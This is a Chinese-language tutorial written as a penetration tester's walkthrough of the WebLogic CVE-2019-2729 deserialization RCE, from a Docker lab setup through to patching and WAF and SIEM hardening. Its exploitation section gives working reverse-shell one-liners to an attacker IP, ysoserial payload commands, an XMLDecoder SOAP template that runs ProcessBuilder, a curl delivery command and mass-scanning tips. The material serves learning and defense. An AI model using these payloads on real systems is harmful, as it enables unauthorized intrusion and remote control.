1. 项目概述一次对经典反序列化漏洞的深度剖析最近在整理内部安全资产时又翻到了WebLogic CVE-2019-2729这个老漏洞。虽然它已经是2019年的“旧闻”但在很多企业的老旧系统中它依然是一个不容忽视的“沉睡的雷”。很多安全工程师在面试时会被问到相关原理但真正动手从零搭建环境、触发漏洞、分析流量再到提出修复方案的人可能并不多。今天我就以一个一线渗透测试工程师的视角带大家完整地走一遍这个漏洞的实战流程。这不仅仅是一次复现更是一次理解WebLogic核心组件、Java反序列化利用链以及企业级修复思路的深度旅程。无论你是刚入门的安全爱好者还是需要应对内部审计的运维人员这篇指南都能给你提供从理论到实操的完整参考。2. 漏洞核心原理与影响范围解析2.1 CVE-2019-2729究竟是什么简单来说CVE-2019-2729是Oracle WebLogic Server中一个基于XML反序列化的远程代码执行漏洞。它不是一个独立的漏洞而是对另一个著名漏洞CVE-2019-2725也称为“WebLogic WLS Core Components反序列化漏洞”的绕过补丁的再绕过。Oracle最初通过补丁修复了2725但安全研究人员发现补丁存在缺陷攻击者可以通过构造特殊的XML请求再次触发反序列化过程从而在目标服务器上执行任意代码。这个漏洞的根源在于WebLogic的wls9_async_response和wls-wsat两个组件。它们提供了Web服务异步通信和WS-AtomicTransaction支持但在处理SOAP消息时对传入的XML数据反序列化操作过滤不严。攻击者可以将恶意的Java对象序列化后的数据封装在特定的SOAP消息中发送到这两个组件的特定端点。WebLogic服务器在解析这些消息时会触发反序列化操作进而执行嵌入在对象中的恶意代码。2.2 影响版本与严重性该漏洞影响范围甚广波及了多个主流版本的WebLogic ServerWebLogic Server 10.3.6.0WebLogic Server 12.1.3.0WebLogic Server 12.2.1.3如果你的线上环境正在使用这些版本并且没有安装2019年4月之后的关键补丁那么你的服务器就处于风险之中。该漏洞的CVSS评分高达9.8临界级别因为它无需任何身份认证即可通过网络远程利用危害极大。攻击者成功利用后可以获得与WebLogic服务进程通常是weblogic用户相同的权限这意味着他们可以读写服务器文件、植入后门、执行系统命令甚至以此为基础进行内网横向移动。注意很多企业认为将WebLogic管理控制台端口默认为7001不暴露在公网就安全了。但这是一个误区。/wls-wsat/CoordinatorPortType和/wls-wsat/RegistrationPortTypeRPC等漏洞端点通常与应用一起部署在同一个端口如7001只要业务端口对外漏洞就可能被利用。内网环境同样面临横向攻击的风险。3. 漏洞复现环境搭建与准备3.1 靶机环境配置为了安全地研究漏洞我们必须在隔离的环境中搭建靶场。我推荐使用Docker它快速、干净且易于重置。拉取漏洞镜像社区有维护好的漏洞环境镜像我们直接使用。打开终端执行以下命令docker pull vulhub/weblogic:10.3.6.0-2017这个镜像基于WebLogic 10.3.6.0并包含了未打补丁的漏洞环境。启动容器运行以下命令启动WebLogic服务器。我们将容器内的7001端口映射到宿主机的7080端口避免与本地可能存在的服务冲突。docker run -d -p 7080:7001 --name weblogic-2729 vulhub/weblogic:10.3.6.0-2017执行后使用docker ps命令确认容器已正常运行。访问验证在浏览器中打开http://your-host-ip:7080/console。如果你看到WebLogic管理控制台的登录页面说明环境启动成功。初始用户名密码通常是weblogic/weblogic123具体请查阅镜像文档。对于漏洞复现我们不需要登录控制台。3.2 攻击机工具准备攻击机需要准备必要的漏洞利用工具和Java环境。Java环境确保攻击机安装了JDK 8。因为大部分利用工具和Payload生成都依赖于Java 8的库。可以通过java -version检查。漏洞利用工具推荐使用集成化的工具例如weblogic-framework或者手动使用ysoserial。这里我们以经典的ysoserial为例进行手动利用演示这有助于理解底层原理。从GitHub下载ysoserial.jar。准备一个用于生成反弹Shell命令的脚本或直接使用编码后的命令。我们需要一个监听器来接收反弹的Shell。网络监听工具在攻击机上使用nc(Netcat) 或rlwrap来开启一个监听端口等待目标服务器反弹连接。rlwrap -cAr nc -lvnp 9999这条命令在9999端口开启了一个带历史记录和行编辑功能的监听。3.3 关键端点探测在发起攻击前我们需要确认目标服务器上存在漏洞端点。使用浏览器或curl命令访问以下URLhttp://your-target-ip:7080/wls-wsat/CoordinatorPortTypehttp://your-target-ip:7080/_async/AsyncResponseService如果返回类似“WS-AtomicTransaction”的WSDL页面或者404页面但服务实际存在则说明该组件已启用可能存在风险。如果返回404 Not Found则可能该服务未被部署但这并不绝对安全因为其他路径也可能存在类似问题。4. 漏洞利用过程深度拆解4.1 构造恶意序列化Payload漏洞利用的核心是构造一个特殊的SOAP消息其主体部分包含了一个经过序列化的、利用特定Gadget链的恶意Java对象。我们使用ysoserial工具来生成这个Payload。ysoserial包含了多种针对不同Java库的利用链Gadget Chains。对于WebLogic CVE-2019-2729常用的链是CommonsCollections系列如CommonsCollections1、CommonsCollections2或Jdk7u21。这里以CommonsCollections1为例因为它通用性较强。假设我们的攻击机IP是192.168.1.100监听端口是9999。我们需要生成一个执行反弹Shell命令的Payload。第一步生成反弹Shell的Base64编码命令避免特殊字符问题在Linux下我们可以用Python快速生成python -c import base64; cmd bash -i /dev/tcp/192.168.1.100/9999 01; print(base64.b64encode(cmd.encode()).decode())这会输出一串Base64编码的字符串。第二步使用ysoserial生成序列化对象我们将编码后的命令嵌入到Payload中。注意这里我们假设目标服务器的bash路径是/bin/bash。java -jar ysoserial.jar CommonsCollections1 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzk5OTkgMD4mMQ}|{base64,-d}|{bash,-i} payload.bin这条命令做了以下几件事CommonsCollections1指定了利用链。双引号内是要执行的系统命令。这里使用了一个巧妙的技巧命令先通过echo输出Base64编码的反弹Shell指令然后通过管道传递给base64 -d解码最后交给bash -i执行。这种方式能有效处理命令中的重定向等特殊符号。 payload.bin将生成的二进制序列化数据保存到payload.bin文件中。实操心得在实际渗透测试中直接执行bash -i /dev/tcp/...这种命令可能会因为环境差异如/dev/tcp不支持或字符转义问题失败。使用Base64编码是一种更稳健的方法。另外一定要先在本地的测试容器里试通命令确保Payload能正确执行。4.2 构建并发送恶意SOAP请求生成的payload.bin是二进制的我们需要将其嵌入到一个符合格式的SOAP XML消息中并发送到漏洞端点。构造POST请求的XML主体模板soapenv:Envelope xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ xmlns:wsahttp://www.w3.org/2005/08/addressing xmlns:asyhttp://www.bea.com/async/AsyncResponseService soapenv:Header wsa:Actionxx/wsa:Action wsa:RelatesToxx/wsa:RelatesTo work:WorkContext xmlns:workhttp://bea.com/2004/06/soap/workarea/ java object classjava.lang.ProcessBuilder array classjava.lang.String length3 void index0 string/bin/bash/string /void void index1 string-c/string /void void index2 stringbash -i /dev/tcp/192.168.1.100/9999 01/string /void /array void methodstart/ /object /java /work:WorkContext /soapenv:Header soapenv:Body asy:onAsyncDelivery/ /soapenv:Body /soapenv:Envelope这是一个简化的示例。实际上针对CVE-2019-2729的利用需要将payload.bin的内容进行Base64编码后填充到XML中特定的位置通常是在java标签内嵌入object serializationcustom等结构来触发XMLDecoder对恶意序列化数据的解析。更常见的做法是使用自动化脚本因为手动构造极其复杂且容易出错。你可以使用网上公开的PoC脚本例如用Python编写的其核心步骤是读取payload.bin文件。将其进行Base64编码。将编码后的字符串嵌入到一个预定义的SOAP请求模板的特定位置。设置正确的HTTP头特别是Content-Type: text/xml。将完整的HTTP POST请求发送到目标URL例如http://target:7080/wls-wsat/CoordinatorPortType。使用curl发送请求的示意命令如下curl -X POST http://192.168.1.200:7080/wls-wsat/CoordinatorPortType \ -H Content-Type: text/xml \ -H SOAPAction: \\ \ --data-binary malicious_request.xml其中malicious_request.xml就是包含了嵌入Payload的完整SOAP请求文件。4.3 接收反弹Shell与验证如果一切顺利在发送恶意请求后你应该能在攻击机的Netcat监听窗口之前运行的nc -lvnp 9999中看到来自目标WebLogic服务器的连接并获得一个反向Shell。$ rlwrap -cAr nc -lvnp 9999 listening on [any] 9999 ... connect to [192.168.1.100] from (UNKNOWN) [192.168.1.200] 34256 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell rootcontainer-id:/# whoami rootcontainer-id:/# id uid0(root) gid0(root) groups0(root)看到命令提示符并且能执行whoami、id等命令就证明漏洞利用成功我们已经获得了目标容器或服务器的权限。在Docker容器里通常是root在真实物理机或虚拟机中通常是weblogic或oracle用户。5. 漏洞修复与加固方案复现漏洞是为了更好地防御它。对于企业运维和安全团队来说如何修复和防范CVE-2019-2729这类漏洞才是重中之重。5.1 官方补丁升级首选方案最根本、最有效的修复方式是安装Oracle官方发布的安全补丁。确定补丁号针对CVE-2019-2729Oracle在2019年4月的关键补丁更新CPU中进行了修复。你需要根据你的WebLogic具体版本查找对应的补丁号。例如对于 10.3.6.0可能需要安装补丁JUJU-32010或更高版本的累积补丁。下载补丁从Oracle官方支持网站My Oracle Support下载对应的补丁集。这需要有效的支持合同。应用补丁按照Oracle的官方文档使用OPatch工具应用补丁。基本步骤通常包括备份当前WebLogic安装目录和域目录。停止所有WebLogic服务管理服务器和受管服务器。应用OPatchopatch apply。重新启动WebLogic服务并验证版本和补丁是否生效。注意事项打补丁前务必在测试环境充分验证确保补丁不会与现有应用产生兼容性问题。同时补丁管理应常态化定期关注Oracle的关键补丁更新公告。5.2 临时缓解措施如果因为各种原因无法立即安装补丁可以采取以下临时缓解措施来阻断攻击路径这些措施同样适用于其他类似漏洞的防护。删除或禁用漏洞组件这是最直接的临时方法。找到WebLogic域目录下的$DOMAIN_HOME/servers/AdminServer/tmp/_WL_internal和$DOMAIN_HOME/servers/AdminServer/tmp/.internal等目录删除wls-wsat.war和async.war这两个应用包。或者在管理控制台中直接卸载这两个应用。操作路径示例rm -rf /path/to/weblogic/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat rm -rf /path/to/weblogic/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/async重启WebLogic服务后生效。网络访问控制ACL在防火墙或Web服务器如Nginx、Apache层面配置访问控制列表禁止外部IP访问漏洞路径。Nginx示例location ~ ^/(_async|wls-wsat) { deny all; return 404; }Apache示例LocationMatch ^/(_async|wls-wsat) Order deny,allow Deny from all /LocationMatch这可以将针对这些路径的请求直接拦截在WebLogic之外。启用WebLogic网络通道过滤在WebLogic控制台中可以配置网络访问过滤器Network Access Filter只允许受信任的IP地址访问管理端口或特定服务。5.3 长期安全加固建议打补丁和临时屏蔽只是“治标”要“治本”还需要建立长期的安全体系。最小权限原则运行WebLogic服务的操作系统用户如weblogic不应具有过高权限。避免使用root用户运行。严格限制该用户对文件系统的读写权限。网络隔离与分层防御WebLogic管理控制台7001端口绝对不要直接暴露在互联网。业务前端应通过反向代理如Nginx接入并在代理层设置严格的WAF规则过滤可疑的SOAP/XML请求内容。定期安全评估与漏洞扫描将WebLogic服务器纳入常规的漏洞扫描和渗透测试范围。使用专业的SCA软件成分分析工具检查中间件依赖库的已知漏洞。日志审计与监控开启WebLogic的详细访问日志和安全审计日志。监控对/_async/*和/wls-wsat/*路径的访问尝试特别是来自异常IP的POST请求。结合SIEM系统建立针对反序列化攻击特征的告警规则例如检测HTTP请求体中包含java.lang.ProcessBuilder、Runtime.exec等特征字符串。考虑升级或迁移对于仍在运行WebLogic 10.3.6等非常老旧版本的环境应制定计划升级到受支持的、更新版本的WebLogic或评估迁移至其他应用服务器如Tomcat, JBoss EAP等的可能性。新版本通常包含了更多的安全特性和对历史漏洞的修复。6. 实战中常见问题与排查技巧在实际操作中你可能会遇到各种问题。下面是我在多次复现和测试中总结的一些常见坑点及解决方法。问题现象可能原因排查与解决思路发送Payload后Netcat监听端口无连接1. Payload生成错误命令、利用链不匹配。2. 目标漏洞端点路径不正确或服务未启用。3. 防火墙/安全组规则拦截了反弹连接。4. 目标服务器出网受限。1.本地验证Payload尝试在生成Payload的同一台机器上用java -jar ysoserial.jar CommonsCollections1 “touch /tmp/test”生成一个创建文件的Payload在测试环境中验证是否能成功。这是最有效的定位方法。2.确认端点用curl -v访问疑似端点查看返回状态码和内容。或者检查WebLogic的部署应用列表。3.检查网络在目标服务器上尝试用telnet或nc连接攻击机的监听端口看是否能通。确保攻击机防火墙已放行相应端口。4.尝试不同利用链换用CommonsCollections2、Jdk7u21等其他链试试。收到连接但立即断开或无交互式Shell1. 反弹Shell命令在目标环境不兼容如目标为Alpine Linux无bash或/dev/tcp不可用。2. Payload中的命令执行成功但进程在后台退出。1.适配目标OS如果目标是Windows需使用powershell或cmd的Payload。对于精简Linux尝试使用sh或nc命令。例如java -jar ysoserial.jar CommonsCollections1 “nc 192.168.1.100 9999 -e /bin/sh”。2.使用稳定Shell考虑使用更稳定的反弹Shell方式如使用python、php或perl的一行命令。或者使用msfvenom生成一个Linux Meterpreter的Payload通过java执行下载并运行。返回500内部服务器错误1. SOAP请求格式不正确XML结构错误。2. 序列化数据在嵌入XML时格式损坏如特殊字符未转义。3. 目标服务器已安装补丁漏洞已修复。1.检查XML格式使用XML验证工具检查构造的请求文件是否符合SOAP规范。确保标签闭合正确命名空间声明无误。2.检查数据嵌入确保二进制Payload经过正确的Base64编码并且编码后的字符串被完整、正确地放置在XML的CDATA区块或经过适当转义的文本节点中。3.验证补丁状态这是最可能的原因。尝试其他已知未修复的漏洞如CVE-2017-10271进行验证或检查WebLogic版本和补丁信息。工具执行报错“Gadget chain not found”使用的ysoserial版本不支持对应的利用链或链名称拼写错误。确保使用最新版本的ysoserial。使用java -jar ysoserial.jar查看帮助列出所有可用的Gadget Chains确认你输入的链名存在且拼写正确。独家避坑技巧“搭环境”比“打利用”更花时间Docker镜像虽然方便但有时网络问题或镜像版本不对会导致服务启动异常。多准备几个不同的漏洞镜像源如vulhub, vulapps等。如果Docker不行可以尝试用虚拟机手动安装WebLogic 10.3.6过程繁琐但可控。善用Wireshark或tcpdump在攻击机和靶机之间抓包能清晰地看到你发出的HTTP请求和响应。当遇到500错误时响应包里可能包含更有价值的错误信息如Java异常栈这比只看状态码有用得多。理解漏洞的本质是绕过补丁CVE-2019-2729是对补丁的绕过。可以尝试先复现CVE-2019-2725理解最初的漏洞原理和补丁修复点如黑名单过滤了某些类然后再看2729是如何构造Payload来绕过这些过滤的。这样学习对Java反序列化漏洞的理解会深刻很多。企业内网的盲打在内网渗透时可能遇到大量WebLogic服务器。可以编写一个简单的Python脚本批量扫描7001端口并自动发送一个无害的探测Payload例如执行ping命令到一台不存在的DNS记录通过DNS日志判断是否执行来快速定位存在漏洞的机器。切记所有测试必须在授权范围内进行。